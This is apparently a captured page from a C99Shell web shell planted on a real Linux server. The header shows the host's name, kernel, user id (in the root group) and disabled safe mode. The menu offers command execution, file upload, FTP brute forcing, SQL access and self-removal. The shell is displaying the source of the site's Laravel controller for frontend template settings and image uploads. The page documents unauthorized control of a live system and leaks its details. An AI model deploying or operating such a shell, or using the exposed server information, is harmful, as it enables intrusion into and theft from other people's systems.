!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/test.qr.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.25 GB of 117.98 GB (24.79%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     TemplateController.php (14.36 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;

use 
App\Models\Setting;
use 
Illuminate\Support\Facades\File;
use 
Illuminate\Http\Request;

class 
TemplateController extends Controller
{
    public function 
index()
    {
        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        return 
view('template.index');
    }
    public function 
store(Request $request)
    {
        if(
env('APP_DEMO')){
                return 
redirect()->back()->withErrors(['msg' => trans('layout.app_demo_message')]);
        }
        
$user auth()->user();
        if (
$user->type != 'admin'){
            
abort('404');
        }
        
$data_template Setting::where('name','frontend_template')->first();
        if (
$data_template){
            
$template json_decode($data_template->value);
        }
        
// dd($template, $request->all());
        
if(isset($template->bg_image_file_name) && $template->bg_image_file_name){
            
$request['bg_image_file_name'] = $template->bg_image_file_name;
        }
        if (
$request->hasFile('bg_image')) {
            
$file $request->file('bg_image');
            
$imageOneName time().'_1' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageOneName);
            
$request['bg_image_file_name'] = $imageOneName;
        }
        if(isset(
$template->first_img_file_name) && $template->first_img_file_name){
            
$request['first_img_file_name'] = $template->first_img_file_name;
        }

        if (
$request->hasFile('first_img')) {
            
$file $request->file('first_img');
            
$imageTwoName time().'_2' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageTwoName);
            
$request['first_img_file_name'] = $imageTwoName;
        }
        if(isset(
$template->sec_img_file_name) && $template->sec_img_file_name){
            
$request['sec_img_file_name'] = $template->sec_img_file_name;
        }

        if (
$request->hasFile('sec_img')) {
            
$file $request->file('sec_img');
            
$imageThreeName time().'_3' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageThreeName);
            
$request['sec_img_file_name'] = $imageThreeName;
        }
        if(isset(
$template->thr_img_file_name) && $template->thr_img_file_name){
            
$request['thr_img_file_name'] = $template->thr_img_file_name;
        }

        if (
$request->hasFile('thr_img')) {
            
$file $request->file('thr_img');
            
$imageFourName time().'_4' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageFourName);
            
$request['thr_img_file_name'] = $imageFourName;
        }
        if(isset(
$template->section_three_bg_image_file_name) && $template->section_three_bg_image_file_name){
            
$request['section_three_bg_image_file_name'] = $template->section_three_bg_image_file_name;
        }

        if (
$request->hasFile('section_three_bg_image')) {
            
$file $request->file('section_three_bg_image');
            
$imageFiveName time().'_5' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageFiveName);
            
$request['section_three_bg_image_file_name'] = $imageFiveName;
        }
        if(isset(
$template->first_comment_img_file_name) && $template->first_comment_img_file_name){
            
$request['first_comment_img_file_name'] = $template->first_comment_img_file_name;
        }

        if (
$request->hasFile('first_comment_img')) {
            
$file $request->file('first_comment_img');
            
$imageSixName time().'_6' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageSixName);
            
$request['first_comment_img_file_name'] = $imageSixName;
        }
        if(isset(
$template->sec_comment_img_file_name) && $template->sec_comment_img_file_name){
            
$request['sec_comment_img_file_name'] = $template->sec_comment_img_file_name;
        }

        if (
$request->hasFile('sec_comment_img')) {
            
$file $request->file('sec_comment_img');
            
$imageSevenName time().'_7' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageSevenName);
            
$request['sec_comment_img_file_name'] = $imageSevenName;
        }
        if(isset(
$template->thr_comment_img_file_name) && $template->thr_comment_img_file_name){
            
$request['thr_comment_img_file_name'] = $template->thr_comment_img_file_name;
        }

        if (
$request->hasFile('thr_comment_img')) {
            
$file $request->file('thr_comment_img');
            
$imageEightName time().'_8' '.' $file->extension();
            
$file->move(public_path('/uploads'), $imageEightName);
            
$request['thr_comment_img_file_name'] = $imageEightName;
        }

        if(isset(
$template->section_six_bg_image_file_name) && $template->section_six_bg_image_file_name){
            
$request['section_six_bg_image_file_name'] = $template->section_six_bg_image_file_name;
        }

        if (
$request->hasFile('section_six_bg_image')) {
            
$file $request->file('section_six_bg_image');
            
$sectionSixBgImgName time().'_8' '.' $file->extension();
            
$file->move(public_path('/uploads'), $sectionSixBgImgName);
            
$request['section_six_bg_image_file_name'] = $sectionSixBgImgName;
        }


        if(isset(
$template->feature_bg_image_file_name) && $template->feature_bg_image_file_name){
            
$request['feature_bg_image_file_name'] = $template->feature_bg_image_file_name;
        }

        if (
$request->hasFile('feature_bg_image')) {
            
$file $request->file('feature_bg_image');
            
$sectionFeatureBgImgName time().'_feature' '.' $file->extension();
            
$file->move(public_path('/uploads'), $sectionFeatureBgImgName);
            
$request['feature_bg_image_file_name'] = $sectionFeatureBgImgName;
        }



        if(
$request->section_six_features){
            
$section_six_feature_values = [];
            foreach(
$request->section_six_features as $key => $value){
                
$section_six_feature_values[] = $value;
            }

            
$request['section_six_features'] = json_encode($section_six_feature_values);
        }else{
            
$request['section_six_features'] = $template->section_six_features ?? null;
        }

        if (isset(
$template->section_seven_bg_image_file_name) && $template->section_seven_bg_image_file_name) {
            
$request['section_seven_bg_image_file_name'] = $template->section_seven_bg_image_file_name;
        }

        if (
$request->hasFile('section_seven_bg_image')) {
            
$file $request->file('section_seven_bg_image');
            
$sectionSevenBgImgName time().'_9' '.' $file->extension();
            
$file->move(public_path('/uploads'), $sectionSevenBgImgName);
            
$request['section_seven_bg_image_file_name'] = $sectionSevenBgImgName;
        }

        if (
$request->section_seven_features) {
            
$section_seven_feature_values = [];
            foreach (
$request->section_seven_features as $key => $value) {
                
$section_seven_feature_values[] = $value;
            }
            
$request['section_seven_features'] = json_encode($section_seven_feature_values);
        } else {
            
$request['section_seven_features'] = $template->section_seven_features ?? null;
        }

        if (isset(
$template->section_eight_bg_image_file_name) && $template->section_eight_bg_image_file_name) {
            
$request['section_eight_bg_image_file_name'] = $template->section_eight_bg_image_file_name;
        }

        if (
$request->hasFile('section_eight_bg_image')) {
            
$file $request->file('section_eight_bg_image');
            
$sectionEightBgImgName time().'_10' '.' $file->extension();
            
$file->move(public_path('/uploads'), $sectionEightBgImgName);
            
$request['section_eight_bg_image_file_name'] = $sectionEightBgImgName;
        }

        if (
$request->section_eight_features) {
            
$section_eight_feature_values = [];
            foreach (
$request->section_eight_features as $key => $value) {
                
$section_eight_feature_values[] = $value;
            }
            
$request['section_eight_features'] = json_encode($section_eight_feature_values);
        } else {
            
$request['section_eight_features'] = $template->section_eight_features ?? null;
        }



            
$section_two_images = [];
            
$preImages $request->pre_section_two_bg_image ?? [];

            if (
$request->hasFile('section_two_bg_image')) {
                foreach (
$request->file('section_two_bg_image') as $index => $file) {
                    if (
$file && $file->isValid()) {
                        if (isset(
$preImages[$index])) {
                            
$oldFilePath public_path('/uploads/' $preImages[$index]);
                            if (
File::exists($oldFilePath)) {
                                
File::delete($oldFilePath);
                            }
                        }

                        
$imageName time() . "_section_two_$index." $file->extension();
                        
$file->move(public_path('/uploads'), $imageName);
                        
$section_two_images[] = $imageName;
                    } elseif (isset(
$preImages[$index])) {
                        
$section_two_images[] = $preImages[$index];
                    }
                }
            } else {
                
$section_two_images $preImages;
            }

            
$request['section_two_bg_image_file_names'] = json_encode($section_two_images);


            
$request['social_link_facebook'] = $this->ensureUrlHasHttps($request->input('social_link_facebook'));
            
$request['social_link_youtube'] = $this->ensureUrlHasHttps($request->input('social_link_youtube'));
            
$request['social_link_linkedin'] = $this->ensureUrlHasHttps($request->input('social_link_linkedin'));
            
$request['social_link_instagram'] = $this->ensureUrlHasHttps($request->input('social_link_instagram'));


        if (isset(
$data_template) && $data_template->name == 'frontend_template'){
            
$template Setting::where('name''=''frontend_template')->first();
            
$template->value json_encode($request->only('about_title','demo_banner_title','demo_banner_sub_title','about_sub_title','about_description','contact_title','contact_sub_title','contact_description','social_link_facebook','social_link_youtube','social_link_linkedin','social_link_instagram','title','banner_sub_title','main_title','first_title','first_description','section_two_title','section_two_sub_title','section_two_bg_image_file_names','section_two_counter_title_one','section_two_counter_title_two','section_two_counter_title_three','section_two_counter_title_four','section_two_counter_value_one','section_two_counter_value_two','section_two_counter_value_three','section_two_counter_value_four','sec_title','sec_description','thr_title','thr_description','section_three_title','section_three_sub_title','section_three_description','section_four_title','section_four_sub_title','feature_bg_image_file_name','feature_main_title','feature_sub_title','feature_description','feature_one_title','feature_two_title','feature_three_title','feature_four_title','section_six_title','section_six_sub_title','section_six_description','section_six_bg_image_file_name','section_six_features','section_seven_title','section_seven_sub_title','section_seven_description','section_seven_bg_image_file_name','section_seven_features','section_eight_title','section_eight_sub_title','section_eight_description','section_eight_bg_image_file_name','section_eight_features','first_name','first_comment','sec_name','sec_comment','thr_name','thr_comment','first_img_file_name','sec_img_file_name','thr_img_file_name','section_three_bg_image_file_name','sec_comment_img_file_name','thr_comment_img_file_name','section_five_title','bg_image_file_name','first_comment_img_file_name','section_work_title','section_work_sub_title','section_blog_title','section_blog_sub_title'));
            
$template->save();
        }else{
            
$template = new Setting();
            
$template->name 'frontend_template';
            
$template->value json_encode($request->only('about_title','demo_banner_title','demo_banner_sub_title','about_sub_title','about_description','contact_title','contact_sub_title','contact_description','social_link_facebook','social_link_youtube','social_link_linkedin','social_link_instagram','title','banner_sub_title','main_title','first_title','first_description','section_two_title','section_two_sub_title','section_two_bg_image_file_names','section_two_counter_title_one','section_two_counter_title_two','section_two_counter_title_three','section_two_counter_title_four','section_two_counter_value_one','section_two_counter_value_two','section_two_counter_value_three','section_two_counter_value_four','sec_title','sec_description','thr_title','thr_description','section_three_title','section_three_sub_title','section_three_description','section_four_title','section_four_sub_title','feature_bg_image_file_name','feature_main_title','feature_sub_title','feature_description','feature_one_title','feature_two_title','feature_three_title','feature_four_title','section_six_title','section_six_sub_title','section_six_description','section_six_bg_image_file_name','section_six_features','section_seven_title','section_seven_sub_title','section_seven_description','section_seven_bg_image_file_name','section_seven_features','section_eight_title','section_eight_sub_title','section_eight_description','section_eight_bg_image_file_name','section_eight_features','first_name','first_comment','sec_name','sec_comment','thr_name','thr_comment','first_img_file_name','sec_img_file_name','thr_img_file_name','section_three_bg_image_file_name','sec_comment_img_file_name','thr_comment_img_file_name','section_five_title','bg_image_file_name','first_comment_img_file_name','section_work_title','section_work_sub_title','section_blog_title','section_blog_sub_title'));
            
$template->save();
        }
        
cache()->flush();

        return 
redirect()->back()->with('success'trans('layout.template_updated_successfully'));
    }

            private function 
ensureUrlHasHttps($url)
        {
            
$url trim($url);
            if (!empty(
$url) && !preg_match('#^https?://#i'$url)) {
                return 
'https://' ltrim($url'/');
            }
            return 
$url;
        }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.01 ]--